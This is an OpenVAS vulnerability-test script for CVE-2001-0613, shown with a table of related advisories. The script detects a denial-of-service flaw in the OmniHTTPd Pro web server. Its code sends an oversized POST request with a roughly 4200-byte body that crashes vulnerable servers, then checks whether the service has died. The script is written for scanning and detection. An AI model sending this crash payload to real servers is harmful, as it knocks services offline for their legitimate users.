The remote host is running OmniHTTPd Pro HTTP Server and is vulnerable to a buffer overflow when handling long POST request, allowing an attacker to crash the remote service
Reporter | Title | Published | Views | Family All 5 |
---|---|---|---|---|
![]() | CVE-2001-0613 | 22 Aug 200104:00 | – | nvd |
![]() | OmniHTTPd pro long POST DoS | 3 Nov 200500:00 | – | openvas |
![]() | OmniHTTPd Pro Long POST Request DoS | 25 Oct 200400:00 | – | nessus |
![]() | CVE-2001-0613 | 9 Mar 200205:00 | – | cve |
![]() | CVE-2001-0613 | 9 Mar 200205:00 | – | cvelist |
# OpenVAS Vulnerability Test
# $Id: OmniHTTPd_pro_post_dos.nasl 8023 2017-12-07 08:36:26Z teissa $
# Description: OmniHTTPd pro long POST DoS
#
# Authors:
# David Maciejak <david dot maciejak at kyxar dot fr>
#
# Copyright:
# Copyright (C) 2004 David Maciejak
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# as published by the Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
#
tag_summary = "The remote host is running OmniHTTPd Pro HTTP Server.
The remote version of this software seems to be vulnerable to a buffer
overflow when handling specially long POST request. This may allow an
attacker to crash the remote service, thus preventing it from answering
legitimate client requests.";
tag_solution = "None at this time";
# Ref: SNS Research - <vuln-dev@greyhack com>
if(description)
{
script_id(15553);
script_version("$Revision: 8023 $");
script_tag(name:"last_modification", value:"$Date: 2017-12-07 09:36:26 +0100 (Thu, 07 Dec 2017) $");
script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
script_bugtraq_id(2730);
script_cve_id("CVE-2001-0613");
script_xref(name:"OSVDB", value:"1829");
script_tag(name:"cvss_base", value:"5.0");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
name = "OmniHTTPd pro long POST DoS";
script_name(name);
script_category(ACT_DENIAL);
script_tag(name:"qod_type", value:"remote_vul");
script_copyright("This script is Copyright (C) 2004 David Maciejak");
family = "Denial of Service";
script_family(family);
script_dependencies("gb_get_http_banner.nasl");
script_mandatory_keys("OmniHTTPd/banner");
script_require_ports("Services/www",80);
script_tag(name : "solution" , value : tag_solution);
script_tag(name : "summary" , value : tag_summary);
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
port = get_http_port(default:80);
if ( http_is_dead(port:port) ) exit(0);
banner = get_http_banner(port:port);
if ( ! banner ) exit(0);
if ( ! egrep(pattern:"^Server: OmniHTTPd", string:banner ) ) exit(0);
soc = http_open_socket(port);
if (! soc) exit(0);
len = 4200; # 4111 should be enough
req = string("POST ", "/", " HTTP/1.0\r\nContent-Length: ", len,
"\r\n\r\n", crap(len), "\r\n");
send(socket:soc, data:req);
http_close_socket(soc);
sleep(1);
if(http_is_dead(port: port))
{
security_message(port);
exit(0);
}
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